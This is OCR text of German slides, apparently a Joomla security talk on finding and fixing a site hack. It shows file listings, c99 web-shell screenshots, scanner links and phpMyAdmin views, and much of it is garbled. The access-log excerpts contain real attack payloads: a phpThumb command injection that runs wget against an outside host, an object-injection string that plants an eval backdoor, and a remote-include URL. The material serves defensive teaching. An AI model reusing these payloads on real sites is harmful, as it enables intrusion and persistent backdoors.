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Hack flndew.n.atund beheben

08,2012 18:16

Dateiordner

Dateiardner

cgi-bin 31.08.2013 1816 Dateicrdner

components 31.08.2013 1827 Dateiordner

files 31.08.2013 1827 Dateiordner

images 31.08.2013 18:28 Dateiordner

includes 31.08.2013 18:30 Dateiordner

language 31.08.2013 18:31 Dateiordner

libraries 31.08.2013 18:34 Dateiordner

logs 31.08.2013 1835 Dateiordner

media 31.08.2013 1&35 Dateiordner

modules 31.08.2013 1837 Dateicrdner

plugins 31.08.2013 18:49 Dateicrdner

stats 31.08.2013 18:49 Dateicrdner

ternplates 31.08.2013 19:05 Dateicrdner

trnp 31.08.2013 1%:08 Dateiordner

xmlrpe 31.08.2013 19:08 Dateicrdner
D CHANGELOG.php 31.08.2013 18:01 PHP-Datei 101 KB
D configuraticon.php 31.08.2013 18:0 PHP-Datei 2 KB
D cenfiguration.php-dist 31.08.2013 1801 PHP-DIST-Datei 4 KE
D COPYRIGHT.php 31.08.2013 1201 PHP-Datei 2 KE
D CREDITS.php 31.08.2013 1801 PHP-Datei 15 KB
D htaccess 31.08.2013 18:0 Textdokument KB
D index.php 31.08.2013 1801 PHP-Datei 3 KB
D index2.php 31.08.2013 1801 PHP-Datei 1 KB
D IMNSTALL.php 31.08.2013 180 PHP-Datei 5 KB
|D privd 31.08.2013 18:01 Textdokument 1KE
D robots 31.08.2013 180 Textdokument 1KB
@ sejeal 31.08.2013 1801 JPG-Datei 103 KB




Hack finden und beheben

Banners 31.08.2013 18:23 Dateicrdner
M_images 31.08.2013 18:28 Dateicrdner
smilies 31.08.2013 18:28 Dateicrdner
stories 31.08.2013 18:28 Dateicrdner
yootheme 31.08.2013 18:29 Dateiordner
@ apply_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ archive_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ back_fa 31.08.2013 18:28 PMG-Datei 2 KB
@ blank 31.08.2013 18:28 PMG-Datei 1KB
@ cancel 31.08.2013 18:28 PMG-Datei 1KB
@ cancel_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ css_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ edit_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ grasserRaurm40n 31.08.2013 18:28 JPG-Datei 45 KB
@ htrnl_f2 31.08.2013 18:28 PMG-Datei 2 KB
|&] index 31.08.2013 18:28 Firefox HTML Doc... 1KB
@ joomla_loge_black 31.08.2013 18:28 JPG-Datei g KB
@ Lautsprecherbaud 31.08.2013 18:28 JPG-Datei 366 KB
@ Lautsprecherbaubin 31.08.2013 18:28 JPG-Datei 50 KB
@ Lautsprecherbaub?s 31.08.2013 18:28 JPG-Datei 58 KB
@ rnenu_divider 31.08.2013 18:28 PMG-Datei 1KE
@ nethome 31.08.2013 18:28 GIF-Datei 1 KB
@ new_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ powered_by 31.08.2013 18:28 PMG-Datei 3 KB
@ preview_fa 31.08.2013 18:28 PMG-Datei 2 KB
@ publish_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ save 31.08.2013 18:28 PMG-Datei 1KB
@ save_f2 31.08.2013 18:28 PMG-Datei 2 KB
|D smitp.php 31.08.2013 18:28 PHP-Datei 1 KB
cort_asc 31.08.2013 18:28 PMG-Datei 1EKB
@ sort_desc 31.08.2013 18:28 PMG-Datei 1KB
@ unarchive_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ unpublish_f2 31.08.2013 18:28 PMG-Datei 2 KB
@ upload_f2 31.08.2013 18:28 PMG-Datei 2 KB
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Hack finden und beheben

157.55.34.x - - [05/Jan/2014:20:15:03 +0100] "GET
/de/component/search/?searchword=heizger\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xe2\x80\xa0\xc3\xa2\xe2\x82\xac\xe2\x84\xa2\xc3\x83\xc6\x92\xc3\xa2\xe2\x82\xac\xc2
\xa0\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\xa2\xe2\x80\x9e\xc2\xa2\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\x82\xc2\x
a0\xc3\x83\xc6\x92\xc3\x82\xc2\xa2\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xal\xc3\x82\xc2\xac\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xbe\xc3\x82\xc2\xa2\xc3\x83\xc6\x92\
xc3\x86\xe2\x80\x99\xc3\x83\xe2\x80\xa0\xc3\xa2\xe2\x82\xac\xe2\x84\xa2\xc3\x83\xc6\x92\xc3\x82\xc2\xa2\xc3\x83\xc2\xa2\xc3\xa2\xe2\x82\xac\xc5\xa1\xc3\x82\xc2\xac\xc3\x8
3\xe2\x80\xa6\xc3\x82\xc2\xa1\xc3\x83\xc6\x92\xc3\x86\xe2\x80\x99\xc3\x83\xc2\xa2\xc3\xa2\xe2\x80\x9a\xc2\xac\xc3\x85\xc2\xa1\xc3\x83\xc6\x92\xc3\xa2\xe2\x82\xac\xc5\xal\
xc3\x83\xe2\x80\x9a\xc3\x82\xc2\xadte HTTP/1.1" 200 81111 www.xxx.de "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)" "-"

194.150.113.x - - [05/Jan/2014:21:00:40 +0100] "GET
/en/?option=com_content&view=article&id=366&Itemid=452&amp;sa=U&amp;ei=kK3JUsWPE86TOQXKxYB4&amp;ved=0CIkBEBYWGA&amp;usg=AFQjCNHIFOPR6820WJYyC48XF93qq2H
LtQ//index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=http://ventaspor.com/wp-includes/php/update.php HTTP/1.1" 200
79814 www.xxx.de "-" "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.22 (KHTML, like Gecko) Chrome/25.0.1364.160 Safari/537.22" "-"

95.163.75.x - - [05/Jan/2014:21:04:32 +0100] "GET /administrator/index.php HTTP/1.0" 200 4437 xxx.net "-" "Opera/9.80 (Windows NT 6.1; U; ru) Presto/2.8.131 Version/11.10" "-"
95.163.75.x - - [05/Jan/2014:21:04:33 +0100] "POST /administrator/index.php HTTP/1.0" 200 125 xxx.net "http://xxx.net/administrator/index.php" "Opera/9.80 (Windows NT 6.1; U; ru)
Presto/2.8.131 Version/11.10" "-"

74.3.170.33 / CAN / Alberta

74.3.170.33 ——[12/Dec/2015:16:49:40 -0500] “GET /contact/ HTTP/1.1” 403 5322 “http://google.com/”
“}__test]|0:21:\x22)DatabaseDriverMysqli\x22:3:{s:2:\x22fc\x22;0:17:\x22JSimplepieFactory\x22:0: ..
{}s:21:\x22\x5C0\x5C0\x5C0disconnectHandlers\x22;a:1:{i:0;a:2:{i:0;0:9:\x22SimplePie\x22:5:{s:8:\x22sanitize\x22;0:20:\x22)DatabaseDriverMysql\x22:0:{}s:8:\x22feed_url\x22;s:60:..
117.211.131.12- - [11/Sep/2016:06:56:30 +0200] "GET /wp-login.php HTTP/1.1" 200 1664 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1"
www.joomla-security.de

84.201.237.226 - - [11/Sep/2016:08:05:01 +0200] "GET /wp-login.php HTTP/1.1" 301 457 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/36.0.1985.125 Safari/537.36" joomla-security.de

50.97.244.250 - - [28/Jun/2016:23:53:01 +0200] "GET /mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur%7C9%20-
quality%2075%20-interlace%20line%20fail.jpg%20jpeg:fail.jpg%20;%20wget%20http://eportal.lekkibritishschool.com/assets/pagat.txt%20-0%20pagat.txt%20;%20&phpThumbDebug=9
HTTP/1.1" 200 1602 "-" "Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1" www.joomla-security.de

50.97.244.250 - - [28/Jun/2016:23:53:02 +0200] "GET /mambots/editors/jce/jscripts/tiny_mce/plugins/imgmanager/classes/phpthumb/pagat.txt HTTP/1.1" 302 437 "-" "Mozilla/5.0 (X11;
Linux i686; rv:14.0) Gecko/20100101Firefox/14.0.1" www.joomla-security.de

69.162.124.235 - - [29/Jun/2016:03:36:28 +0200] "GET / HTTP/1.1" 200 17773 "-" "Mozilla/5.0+(compatible; UptimeRobot/2.0; http://www.uptimerobot.com/)" www.joomla-security.de
195.154.199.69 - - [29/Jun/2016:03:38:18 +0200] "GET / HTTP/1.1" 200 17773 "-"

"} _test]|0:21:"JDatabaseDriverMysqli":3:{s:2:"fc";0:17:"JSimplepieFactory":0:{}s:21:"\0\0\OdisconnectHandlers";a:1:{i:0;a:2:{i:0;0:9:"SimplePie":5:{s:8:"sanitize";0:20:")DatabaseDriver
Mysql":0:{}s:8:"feed_url";s:242:"file_put_contents(S_SERVER["DOCUMENT_ROOT"].chr(47)."404bak.php"," |=]|\x3C".chr(63)."php
\x24mujj=\x24_POST['session'];if(\x24mujj!="){\x24xsser=base64_decode(\x24_POST['z0']);@eval(\"\\\x24safedg=\x24xsser;\");}");JFactory::getConfig();exit;";s:19:"cache_name_function
".5:6:"assert";s:5:"cache";b:1;s:11:"cache_class";0:20:")DatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\Oconnection";b:1;}*xd9" www.joomla-security.de

195.154.199.69 - - [29/Jun/2016:03:38:19 +0200] "GET / HTTP/1.1" 200 17549 "-"

"} _test]|0:21:"JDatabaseDriverMysqgli":3:{s:2:"fc";0:17:"JSimplepieFactory":0:{}s:21:"\0\0\OdisconnectHandlers";a:1:{i:0;a:2:{i:0;0:9:"SimplePie":5:{s:8:"sanitize";0:20:")DatabaseDriver
Mysql":0:{}s:8:"feed_url";s:242:"file_put_contents(S_SERVER["DOCUMENT_ROOT"].chr(47)."404bak.php","|=|\x3C".chr(63)."php
\x24mujj=\x24_POST['session'];if(\x24mujj!="){\x24xsser=base64_decode(\x24_POST['z0']);@eval(\"\\\x24safedg=\x24xsser;\");}");JFactory::getConfig();exit;";s:19:"cache_name_function
".5:6:"assert";s:5:"cache";b:1;s:11:"cache_class";0:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\Oconnection";b:1;}*xd9" www.joomla-security.de

195.154.199.69 - - [29/Jun/2016:03:38:19 +0200] "GET //404bak.php HTTP/1.1" 200 1607 "http://www.googlebot.com/bot.html" "Mozilla/5.0 (compatible; Googlebot/2.1;
+http://www.google.com/bot.html)" www.joomla-security.de
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' Hack finden und behek

Fl>s 2014 i686
d_t:s0

Safe-mode:
jvarjwww/html drwxr-xr-x
Free 836.96 MB of 3.78 GB (21.64%)

HOME == == UPDIR Search Buffer Tools Proc. FTPbrute Sec. SQL PHP-code Self remove Logout

Listing folder (4 files and 3 folders):

Name Size Modify Owner/Group Perms Action
LINK 31.01.2011 14:54:34 0/0 drwxr-xr-x .
: LINK 29.04.2011 07:09:02 500/0 drwxr-xr-x .
[drupal-5.23] 1
[drupal-6.20] ° ° ° |
Datei Vergleichen: z.B. WinMer -
c99.php 1en
drupal-5.23 tar.gz - IED E|
Neue Ordner: z.B. TotalComands om

osticket 1.6.0.tar.g

Neue Dateien finden: FileZilla o= -[e==

(Timestamp)
Verglichen mit Backups

. I Execute I

:: Make Dir :
Svarfwww/html/ ” Create

:: Make File ::

|.-f\rarfwww.-f!1‘anl.-f | | Create

:: Go Dir ::

:: Go File ::
varfwww/html/ || Go |

varfwww/html/ | | Go |
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URL

Erkenn

Analys

https:/fwww_joomla-security.de/

ungsrate

e-Datum 2016-09-11 12:57-11 UTC ( vor 0 Minuten )

-.. Online Scanner

URL-5c:
ADMINU
AegisLal
AlienVau
Antiy-A
Awvira
Baidu-Int
BitDefen
Blueliv
C-SIRT

Certly

CLEAN MX

Comodo Site Inspector

CRDF

CyberCrime

nttps://www.virustotal.com
nttp://www.isithacked.com
nttps://sitecheck.sucuri.net/
nttps://quttera.com/

https://app.webinspector.com/

Clean site
I t
I t
I t
I t



O

QOFF OFF QOFF OFF cLRL: ON QOFF QFF Perl: ON
NONE

190.173.202.21%

[FTP Buteforcer] [Security Info] [Processes] [MySQL] [PHP-Code] [Encoder] [Backdoor] [Back-Connection]

[Home] [Enumerate] [MdS-Lookup] [Word-Lists] [milwOrmit]] [Search] [Self-Kill] [About]

drwxr-xr-x

Probleme beim Finden?

Dienstleister suchen
Myjoomla.com

watchful.li

0.0364

Action

Ore=g

[k | [ ]

- [



- 1] Server: 127.0.0.1 » @ Datenbank: joomla3s

Abfr <,. portieren  [i2 Importieren = #° Operationen =3 Rechte Routinen & Ereignisse =& Trigger
H = = p e - —_
a C k fl n d e n u n d b el Yen QL QUH}E Einfigen [ Leeren @ Laschen 9 InnoDB utfBmb4_unicode_ci 1€ EiB -
T 2 """l"‘j"ﬁ"'—""""‘ "| [ Kkioid_content rating 7 [T] Anzeigen J# Struktur % Suche % Einfiigen I Leeren @ Laschen 9 InnoDB  utfBmb4_unicode_ci 1€ EiB B
- | joomla
X [] koid_content types 15 [E] Anzeigen 4 Struktur % Suche % Einfiigen I Leeren @ Laschen 13 InnoDB  utfBmb4_unicode_ci &% EiE -
1 lv| =5 [] kioid_core_log_searches 17 [T] Anzeigen J# Struktur % Suche % Einfiigen I Leeren @ Laschen 9 InnoDB  utfBmb4_unicode_ci & ¥E -
|2 Neu [] Kloid_extensions 7 [E] Anzeigen G4 Struktur % Suche 3 Einfigen I Leeren @ Laschen 243 |nnoDB utfBmb4_unicode ci 240 EiB -
)4 kowd assets [] Kfoid finder filters 17 [7] Anzeigen ¢ Struktur % Suche Fc Einfigen I Leeren @ Laschen 9 InnoDB utfBmb4_general ci 1% Ei2 -
+_l# kfoid_associations
'||'-_P’_ K7oid_banners [] Kfoid_finder_links 7 [F] Anzeigen Z4 Struktur % Suche % Einfigen I Leeren @ Laschen O InnoDB  utfBmb4_general ci 112 Ei2 -
| . .
'l"-_V_ kTaid_banner_clients ] Koid finder links_terms0 17 [7] Anzeigen ¢ Struktur % Suche Fc Einfigen [ Leeren @ Laschen O InnoDB  utfdmb4_general ci 4% EiB -
+_ L= kfoid_banner_tr-—'- _ N
: } Fc Leeren @ Ldschen O InnoDB utfBmb4 _general ci 48 EiB -
+.l# kioid_categorie =
-||-__p=_ kToid_cck_core . Leeren (@ Loschen " InnoDB  utfémb4_general_ci 48 KB -
| . o0
T_k kTaid_cck_core Date n ba n k rUfe n ? 3t Leeren @ Léschen " InnoDB  utfdmb4_general_¢i 48 3B -
+. s kioid_cck_core e
'li'—}i KToid_cck _core F Leeren @ Laschen % lnnoDB  utfmb4_general_ci 48 2B -

+14 kToid_cck_core F Leeren (@ Lischen O InnoDB - utfmb4_general_ci 48 EiB -

|
+# kToid_cck_core

} Lischen 9 InnoDB - utfBmb4_general ci 48 EiB -
4+ l# kfoid_cck_core
-ll-__k k7oid_cck_core == z e B ° CO nte nt - > S pa Ite Introt extmDB utfdmbd_general ¢i 48 ¥iB -

. L]
T'—k k7oid_cck_core R are Laschen O InnoDB utf8mb4_general ci 48 EiB -
+.l# kToid_cck_core o
v meist am Ende ; e e
$. KToid_cck_core 3c Leere Ldschen InnoDB utfémb4_general_ci =
| . 5 -
-ll--_k kToid_cck_core F Leeren @ Laschen O lnnoDB  utfSmb4_general ci 48 EiB -
+. 1+ k7oid cck core = ) ) -
| e - - [] Koid finder_links_termsh | Anzeigen 14 Struktur % Suche F¢ Einfigen I Leeren @ Laschen " lnnoDB  utfSmb4_general ci 4% KiB -
+. = kToid_cck_core_type posi
+. 1+ KToid_cck_core_versions [] kioid_finder_links_termsc i || Anzeigen s Struktur & Suche F¢ Einfigen I Leeren @ Loschen 9 InnoDB utfSmbd4_general_ci 48 Ei2 -
T-_Pi kToid_cck_more_countries [] kfoid_finder_links_termsd 7% [E] Anzeigen Fi Struktur % Suche 3¢ Einfiigen I Leeren @ Léschen 9 innoDB  utf8mbd4_general_ci 48 EiB -
+1# kToid_cck_more_jobs : .
'||'—_k K7aid_cck mre.job_proct [] kioid finder_links_termse i || Anzeigen s Struktur & Suche F¢ Einfigen I Leeren @ Loschen 9 InnoDB utfSmb4_general_ci 48 Ei2 -
+1» kioid_cck_more_processit [] Kfoid_finder_links_termsf {¢ || Anzeigen 34 Struktur % Suche F Einfigen I Leeren @ Loschen T InnoDB utfSmb4_general_ci 48 EiB -
T'—k e [ Kkioid_finder_taxonomy i || Anzeigen s Struktur & Suche F Einfigen I Leeren @ Loschen 1 InnoDB  utfSmb4_general_ci 3¢ Ei2 -
+. s kioid_cck_store_form_her:
+.1 KToid_cck_store_form_mai [ kioid_finder_taxonomy_map 1¢ [F] Anzeigen 4 Struktur % Suche % Einfiigen I Leeren @ Laschen 9 InnoDB  utfBmb4_general_ci 48 EiB B
| _ - .
T-in kToid_cck_store_form_pro o =7 finder_terms 15 [C] Anzeigen I Struktur % Suche % Einfiigen I Leeren @ Laschen 9 lnnoDB  utfsmbd_general ¢i  3° FiE -
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Aktuelle Joomla!-Version:

o BLESHL IR BUR 0 A5
Update: 01.06.2015

Version: 3.0.1
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Sicherheitsaktualisierung

SITEMAP

IMPRESSUM

Aktuelle Joomla!-Version:

Ve n=nate

Geénderte Haupt-Htaccess Datei mit
zusatziichen Sicherneitsfunitionen.
Artikel: " tacces-Sinstellun
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Backup
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Bettina Braun - https://www.flickr.‘com/p’hbt%,ébéftll. "r*éﬁ'l‘172773 361






